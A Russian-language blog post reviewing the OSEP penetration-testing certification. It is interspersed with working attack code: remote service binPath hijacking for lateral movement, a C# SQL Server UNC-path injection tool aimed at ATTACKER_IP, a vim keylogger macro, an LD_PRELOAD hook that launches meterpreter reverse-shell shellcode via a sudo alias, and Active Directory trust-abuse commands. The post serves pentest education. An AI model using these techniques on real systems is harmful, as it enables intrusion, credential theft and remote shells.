Сертификация OSEP, и с чем ее едят

Привет, Хабр!

Относительно недавно (в масштабах вечности) я сдал экзамен Offensive Security Experienced Penetration Tester в рамках курса PEN-300 от Offensive Security.

В этой публикации я постараюсь рассказать о том, что это за сертификация, как проходит экзамен, как устроены лабы, и какие навыки можно приобрести по окончании обучения. По тексту я буду приводить много ссылок на внешние ресурсы, освещающие темы, о которых говорится в курсе — для того, чтобы читатель смог оценить, готов ли он к началу обучения, или стоит еще покачать скил в области тестирования на проникновение.

Пошли под кат.

OSEP и правда сильно отличается от своего предшественника — сертификации OSCP, о которой не писал только ленивый, во всех аспектах: от структуры методички и устройства лабораторных до финального экзамена. Для себя я выделил пять основных тем, повторение / более глубокое изучение которых было для меня наиболее полезным из всего курса:

  1. Разбор техник уклонения от средств защиты (AV/EDR).

  2. Абьюз окружения среды AD для горизонтального перемещения.

  3. Взаимодействие с инстансами MS SQL Server для развития атак на домен.

  4. Атаки на трасты AD.

  5. Постэксплуатация по части Linux-машин.

Чтобы сильно не спойлерить содержание методички (объем которой более 700 стр., к слову), я своими словами кратко расскажу о том, что мне понравилось в каждой обозначенной теме.

Примечание

Материал для этой статьи пролежал в черновиках почти год, поэтому допускаю, что содержание курса с тех пор могло измениться, и я не описал чего-то такого, о чем стоило бы обязательно упомянуть.

Разбор базовых техник уклонения от средств защиты

Сразу хочется отметить, что практически в каждом разделе обучения активно используется язык C#, уже давно являющийся неофициальным стандартом «де-факто» для разработки наступательного вооружения.

Причин тому несколько: во-первых, несмотря на управляемый CRL-код, в который генерятся бинари C#, из него очень удобно «дергать» ручки Windows API для триггера вредоносной нагрузки.

Во-вторых, нативная интеграция этого языка с ОС Windows позволяет выполнять собранные программы из памяти с помощью механизма Reflection.Assembly, что очень усложняет жизнь антивирусам и прочему «нехорошему» софту в контексте пресечения нежелательной по его мнению активности (см. metasploit-execute-assembly, In-memory .NET Assembly Execution и т. д.).

В-третьих, большая фанбаза этого языка из сильных спецов по наступательной безопасности обеспечивает его самыми разными плюшками для L33T-разработки малвари.

Тут вам и:

  • прямые системные вызовы в обход хуков Win32 API и Native API с помощью D/Invoke;

  • .export управляемого кода для запуска DLL через неуправляему среду (aka rundll32.exe) с помощью DllExport;

  • крутые библиотеки для API-хукинга и генерации BOF-ов;

  • целое множество готовых коллекций и методов для запуска скомпилированных эксзешников из других средств и сред.

Тривиальный пример (не из курса) для получения «метера» без алертов от AV в 15 строк (не считая шеллкода) через мощнейший механизм GetDelegateForFunctionPointer показывает всю гибкость этого языка, местами не уступающую этим вашим C++.

"I've got a meterpreter shell? No way!"
«I’ve got a meterpreter shell? No way!»
Разумеется, ведь внутри нет подозрительных вызовов. Ведь так?
Разумеется, ведь внутри нет подозрительных вызовов. Ведь так?
Оч плохая музыка
Оч плохая музыка
Не C# едины

Существуют и другие языки, такие как Boolang и Nim, которые так удобно использовать при проведении пентестов. Но в курсе PEN-300 об этом, к сожалению, не рассказывается.

Однако, как будет упомянуто ниже, никто не запрещает гуглить и развиваться параллельно с курсом. Пример тому — моя PoC-реализация техники Process Hollowing на Nim.

Дополнительно оговорюсь, что курс не предлагает зиродей техник для байпаса аверов, но, получив знание базовых методов и наметив примерный вектор развития, можно по традиции разресерчить интересующую вас тему более глубоко самостоятельно.

Безфайловые передвижения в AD

Тема эксплуатации Active Directory проходит красной линией через весь курс — одна из причин, почему он мне так зашел. Один простой пример крафта легитимной программы для бокового продвижения ниже.

Все знают о замечательном PsExec из состава Sysinternals, флаггинг которого со стороны AV уже считается хорошим тоном. То же самое касается и его младшего брата — psexec.py из Impacket.

Однако не все знают, что исполнить код на другой машине можно и без создания подозрительных служб с рандомным названием: просто измени binPath= редко используемого сервиса удаленно с помощью SCM на свой любимый загрузочный кредл, and u r good2go!

Для этого будет достаточно дернуть 5 вызовов из advapi32.dll. В синтаксисе P/Invoke это выглядит примерно так:

// Для получения хэндла SCM [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)] public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);  // Для получения хэндла целевой службы [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);  // Для запроса информации о текущем бинаре службы (для его последующего восстановления) [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);  // Для изменения текущего бинаря службы [DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);  // Для запуска службы [DllImport("advapi32", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);
PoC

За работающим Proof-of-Concept-ом можно сходить на мой GitBook.

Таким образом можно получить RCE от имени системы на машине-жертве. Хорошие кандидаты служб, по умолчанию запускаемых вручную, изменение которых не скажется на работе сотрудников Заказчика (вендоры EDR, записываем):

  • XblAuthManager – диспетчер проверки подлинности Xbox Live, даст шелл от имени LocalSystem.

  • SensorService – служба датчиков, даст шелл от имени LocalSystem.

  • BTAGService – служба звукового шлюза Bluetooth, даст шелл от имени LocalService.

  • lfsvc – служба географического положения, даст шелл от имени LocalSystem.

Все, что рассказывается в OSEP, тем или иным образом уже исследовано специалистами ИБ, и эта техника не исключение. Для лучшего понимания ее вооружения рекомендуется изучить проекты SharpNoPSExec и SCShell.

Взаимодействие с MS SQL

В дефолтной настройке MS SQL Server до ревизии 2019 любая доменная учетка с public-ролью может вызвать SSRF ограниченного действия для провоцирования коэрцитивной аутентификации на машине по выбору атакующего. Это широко известно в народе как UNC Path Injection.

Если в инфраструктуре нет жесткой фильтрации трафика по 445-м портам, можно пустить собак на поиск узлов, где целевая УЗ SQL потенциально может являться локальным админом, и зарелеить туда NTLM2 response от пришедшей аутентификации. Ок, ок, всем известно…

Раньше я пользовался для этих целей средствами PowerUpSQL, но в последнее время все чаще сталкиваешься с ситуациями, когда использование PowerShell сильно ограничено разными AMSI-ями и CLM-режимами. Куда менее трудозатратно, чем тестировать способы обхода этого добра в конкретной среде — скомпилировать простую программу на C# с единственным вызовом xp_dirtree / xp_fileexist и дальше радоваться своей беззаботной жизни.

// SQL.exe <SERVER_IP> <ATTACKER_IP>  using System; using System.Data.SqlClient;  namespace SQL {     class Program     {         static void Main(string[] args)         {             string sqlServer = args[0];             string database = "master";             string conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";             SqlConnection con = new SqlConnection(conString);              try             {                 con.Open();                 Console.WriteLine("[+] Auth success!");             }             catch             {                 Console.WriteLine("[-] Auth failed :(");                 Environment.Exit(0);             }              SqlCommand command = new SqlCommand($@"EXEC master..xp_dirtree '\\{args[1]}\pwn\pwn.txt';", con);             SqlDataReader reader = command.ExecuteReader();             reader.Close();             con.Close();         }     } }
DAFT & ESC

Также для этих целей можно пользоваться готовыми тулкитами DAFT и ESC.

Возможно, это не самый показательный пример для демонстрации пользы от курса, т. к. эта техника давно известна широкой аудитории. Однако сам факт подхода к известным атакам с помощью кастомного кода хорошо характеризует OSEP.

Атаки на трасты AD

«Обратите внимание, что домен Active Directory не является границей безопасности; лес AD является» — Шон Меткалф (источник).

Здесь речь шла, в основном, о том, как эксплуатировать ExtraSids Hopping для захвата родительского домена из дочернего (или наоборот). В силу существования двустороннего доверия типа Parent-Child эта атака возможна «by design» и является скорее фичей, а не багом.

Атакующий крафтит Golden Ticket с помощью мимика или импакета и добавляет значение SID доверенной междоменной УЗ в свойство sIDHistory поля PAC билета Kerberos, получая таким образом «сфорженный» Inter-Realm TGT. Далее всю работу за нас выполнит контроллер домена и запросит вполне легитимный билет у доверяющего DC, который можно использовать для доступа к ресурсам последнего.

Однако не все так просто, когда нужно атаковать другой лес AD (Forest Trust), т. к. в этом случае фильтрация SID-ов активна по умолчанию и надурить контроллер уже не получится.

Одна из интересных возможностей для атаки — проверить, не находится ли доменная среда в условиях миграции ресурсов, другими словами, не могут ли пользователи доверяемого леса обращаться к ресурсам доверяющего леса (спойлер: в таком состоянии инфраструктура организации может находиться годами). В этом случае администратор доверяющего леса отключает механизм фильтрации SID-ов с помощью netdom, и FOREST_TRANSITIVE траст волшебным образом превращается в траст типа TREAT_AS_EXTERNAL.

netdom.exe trust forestB.net /d:forestA.net /enablesidhistory:yes

Это открывает интересные возможности для атакующего.

Учетные записи с RID-ом выше 1000 (т. е. не встроенные УЗ) по задумке «мелкомягких» не фильтруются при междоменной аутентификации с типом траста TREAT_AS_EXTERNAL. Это позволяет эффективно использовать классический ExtraSids Hopping, указывая значение такого SID-а в процессе изготовки тикета.

PowerView

Ищем потенциальные учетки для инжекта SID-а в группе forestB.net\Administrators с помощью PowerView и PowerView 3.0 соответственно:

Get-NetGroupMember -GroupName "Administrators" -Domain -Domain forestB.net Get-DomainGroupMember -Identity "Administrators" -Domain forestB.net

Другой особенностью, на которую также нужно обращать внимание — членство УЗ, SID которой мы инжектим в тикет, в глобальных доменных группах (таких как Enterprise Admins и Domain Admins). На такие УЗ механизм SID Filtering распространяется даже при доверии TREAT_AS_EXTERNAL и атака не увенчается успехом.

Визуализация трастов

Замечательный инструмент для графического представления доверительных отношений в доменной среде с помощью yEd Graph Editor — это TrustVisualizer от @HarmJ0y или мой форк этого инструмента, переписанный на Python 3 с распознаванием расширенного списка атрибутов доверия.

Целимся в Linux

Когда речь заходит об инфраструктурном пентесте, с высокой долей вероятности специалист окажется в гетерогенной среде, где присутствуют и Linux-машины в том числе. Для демонстрации реализации бизнес-рисков, скорее всего, придется искать путь на тачки с линуксами, ведь именно на них и разворачивают гитлабы, конфлюенсы, свифты, а там уже окажутся полезными знания, касающиеся постэксплуатации соответствующей ОС.

Для меня интересным кейсом стал пример создания простого кейлоггера с помощью VIM, когда у атакующего есть низкопривелигированный доступ на Linux-машину, и ему хотелось бы разжиться кредами в плейнтексте или содержимым защищенных для чтения файлов. Для этого Offensive Security предлагают использовать такой макрос:

:if $USER == "root" :autocmd BufWritePost * :silent :w! >> /tmp/tmp0x031337 :endif

Когда атакуемый пользователь полезет редактировать файлы с sudo, содержимое сохранится в /tmp/tmp0x031337.

Также не редкость ситуация, когда Linux-машина является частью домена AD. В этом случае полезно поохотиться за тикетами, сохраненными в формате KRB5CCACHE (в директории /tmp), а в случае привилегированного доступа к хосту — за файлами keytab (обычно находятся там же).

Не стоит пренебрегать и классической техникой хуков легитимных функций с помощью LD_PRELOAD. Например, посмотрим, какие функции вызываются в процессе запуска утилиты /usr/bin/cp.

Трассировка вызовов утилиты копирования файлов
Трассировка вызовов утилиты копирования файлов

Функция getuid выглядит как хороший кандидат для угона. С помощью следующей библиотеки можно форкнуть текущий процесс в момент исполнения getuid и подгрузить свой шеллкод:

// gcc -Wall -fPIC -z execstack -c -o evilgetuid.o evilgetuid.c // gcc -shared -o evilgetuid.so evilgetuid.o -ldl #define _GNU_SOURCE #include <sys/mman.h> #include <stdlib.h> #include <stdio.h> #include <dlfcn.h> #include <unistd.h>  // msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f c -o met.c --encrypt xor --encrypt-key a unsigned char buf[] =  "\x31\x33...\x33\x37";  uid_t geteuid(void) {         typeof(geteuid) *getuid_orig;         getuid_orig = dlsym(RTLD_NEXT, "geteuid");          if (fork() == 0) // if inside the forked process         {                 setuid(0);                 setgid(0);                 printf("Function hooked!\n");                  int bufsize = (int)sizeof(buf);                 for (int i = 0; i < bufsize-1; i++) {                     buf[i] = buf[i] ^ 'a';                 }                  intptr_t pagesize = sysconf(_SC_PAGESIZE);                 if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {                         perror("mprotect");                         return -1;                 }                  int (*ret)() = (int(*)())buf;                 ret();         }         else // if inside the original process         {                 printf("Returning from original...\n");                 return (*getuid_orig)();         }          printf("Returning from main...\n");         return -2; }

После компиляции достаточно создать алиас для sudo, автоматически загружающий библиотеку по пути, заданному в переменной окружения, и дождаться запуска утилиты cp пользователем-жертвой:

alias sudo="sudo LD_PRELOAD=/home/victim/evilgetuid.so"

Лабораторные и экзамен

Для каждого раздела методички существует тренировочная лаба, обычно представляющая из себя Windows-хост для разработки со всем необходимым ПО и хосты-жертвы, на которых подразумевается отработка описываемых техник.

По завершении методички, обучающемуся будет предложено выполнить 6 челленджей, каждый из которых представляет «инфраструктуру в миниатюре» (5 лаб из 6 — это доменная среда). Первые 3 лабы — затравочка для отработки изученных техник в боевых условиях, последние 3 — приближенные к экзамену задачи, над которыми придется повозиться.

На экзамене студенту будет предложена легенда вокруг компании, заказавшей проведение внешнего пентеста с проникновением во внутреннюю сеть. На борде для сдачи флагов, будет красоваться финальная цель — имя хоста, куда нужно получиться доступ для получения сокровенного флага secret.txt.

Есть два способа успешного сдачи экзамена:

  1. Зарутать не менее 10 машин. За каждый пруф дается по 10 баллов. Для сдачи нужно 100.

  2. Получить доступ к файлу secret.txt на финальном сервере. В этом случае неважно, сколько хостов ты зарутал, экзамен все равно будет засчитан (я пошел этим путем).

На экзамене, в отличие от великого и ужасного OSCP можно пользоваться meterpreter-ом, SQLMap-ом и другими тулзами для автоэксплуатации. Запрет только на коммерческие инструменты.

Заключение

Я и правда очень доволен, что мне довелось пройти этот курс. OSEP следует классической схеме офенсивов «Try harder», и это не может не радовать, а главным достоинством курса я считаю искреннее желание авторов привить любовь обучающемуся в плане проведения собственных исследований в поиске новых техник из той или иной области тестирования на проникновение.


ссылка на оригинал статьи https://habr.com/ru/company/angarasecurity/blog/580078/

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *